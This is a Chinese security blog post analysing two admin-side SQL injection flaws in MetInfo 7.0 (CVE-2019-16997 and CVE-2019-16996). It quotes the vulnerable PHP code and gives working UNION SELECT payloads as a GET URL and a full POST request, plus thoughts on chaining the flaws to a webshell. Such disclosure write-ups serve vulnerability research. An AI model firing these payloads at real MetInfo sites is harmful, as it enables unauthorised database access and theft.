Metinfo7 后台注入及一些tips

   · ☕ 3 分钟
🏷️
  • #code
  • 很可惜是个后台的注入

    跟汤姆表哥再搞创宇的年度任务🤒,昨天发了metinfo6.2.0的组合拳,今天看了看官网有最新版的7.0,就下下来看了看,发现两枚注入,而且昨天的组合拳虽然增加了后缀校验,绕不过去了,呜呜呜。

    sql injection 1

    全局搜索where

    app/system/parameter/include/class/parameter_op.class.php:165

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
    public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
        global $_M;
    
        $paralist = $this->get_para_list($module,$class1,$class2,$class3);
        foreach ($paralist as $key => $para) {
            $list = $this->parameter_database->get_parameters($module,$para['id']);
            $paralist[$key]['list'] = $list;
            if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
                $values = array();
                foreach ($list as $val) {
                    $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'";
                    $para_value = DB::get_one($query);
                    if($para_value){
                        $values[] = $para_value['info'];
                    }
                }
                $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
                $para_value = DB::get_one($query);
                $values = $para_value['info'];
            }else{
                $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
                $para_value = DB::get_one($query);
                $values = $para_value['info'];
            }
    
    
            if(is_array($values)){
                $paralist[$key]['value'] = implode('|', $values);
            }else{
                $paralist[$key]['value'] = $values;
            }
        }
        return $paralist;
        ##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
    }
    

    发现{$listid}直接被拼接进sql语句,且listid是函数直接传进来的参数,搜索哪些函数调用了这个函数

    20190928221736

    app/system/product/admin/product_admin.class.php:171

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    
    public function dopara() {
        global $_M;
        if($_M['form']['app_type']=='shop'){
            $class1 = $_M['form']['class1'];
            $class2 = $_M['form']['class2'];
            $class3 = $_M['form']['class3'];
            $paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
            require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
        }else{
            parent::dopara();
        }
    }
    

    $_M['form']['id']可控,那么sql语句就可控。

    payload

    http://php.local/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1  -- +
    

    sql injection 2

    app/system/language/admin/language_general.class.php:108

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    public function doget_admin_pack($appno,$site,$editor)
    {
        global $_M;
        $sql = $appno ? "AND app = {$appno}" : '';
        $language_data = array();
        if ($site == 'admin') {
            $query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}";
            $language_data = DB::get_all($query);
            $lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
        } else if ($site == 'web') {
            $query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}";
            $language_data = DB::get_all($query);
            $lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
        }
    
        foreach ($language_data as $key => $val) {
            file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
        }
    }
    

    $appno直接拼接 当site等于web或者admin时造成sql注入

    找下有没有调用这个函数传参的

    app/system/language/admin/language_general.class.php:90

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    
    public function doExportPack()
    {
        global $_M;
    
        if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
            $this->error($_M['word']['js41']);
        }
    
        $editor = $_M['form']['editor'];
        $site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
        $appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
        $filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';
    
        delfile($filename);
    
        //获取后台语言包
        $this->doget_admin_pack($appno,$site,$editor);
    
        $filename = realpath($filename);
        header("");
        Header("Content-type:  application/octet-stream ");
        Header("Accept-Ranges:  bytes ");
        Header("Accept-Length: " . filesize($filename));
        header("Content-Disposition:  attachment;  filename=language_{$site}_" . $appno .'_'. $editor . ".ini");
        //写日志
        $log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
        logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
        readfile($filename);
    }
    

    看下代码,首先要传递参数editor跳出第一个if语句块,然后siteappno直接传入doget_admin_pack()函数,参数都可控,妥妥的注入。

    payload

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1
    Host: php.local
    Content-Length: 58
    Origin: http://php.local
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
    Connection: close
    
    appno= 1 union SELECT user(),database()&editor=cn&site=web
    

    20190928223704

    组合拳

    在前文中提到了metinfo6.2.0配合注入getshell的姿势,但是在metinfo7.0中增加了后缀校验,无法getshell,很可惜。

    app/system/include/class/web.class.php:757

    1
    2
    3
    
    if (stristr($filename, '.php')) {
        jsoncallback(array('suc' => 0));
    }
    

    但是这个点仍然可以上传其他后缀的文件,通过这个点配合解析漏洞或者文件包含来getshell未免不可行。

    想到了htaccess和.user.ini的同学别费力气了,写文件没办法换行,如果有师傅有新姿势,欢迎评论指点啊!

    总结

    metinfo7.0的注入实际上还有很多,不过很多都是delete型的注入,我在这里挑了两个回显的注入,欢迎师傅们补充交流。

    CVE-2019-16997
    CVE-2019-16996

    文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

    您的鼓励是我最大的动力
    alipay QR Code
    wechat QR Code

    目录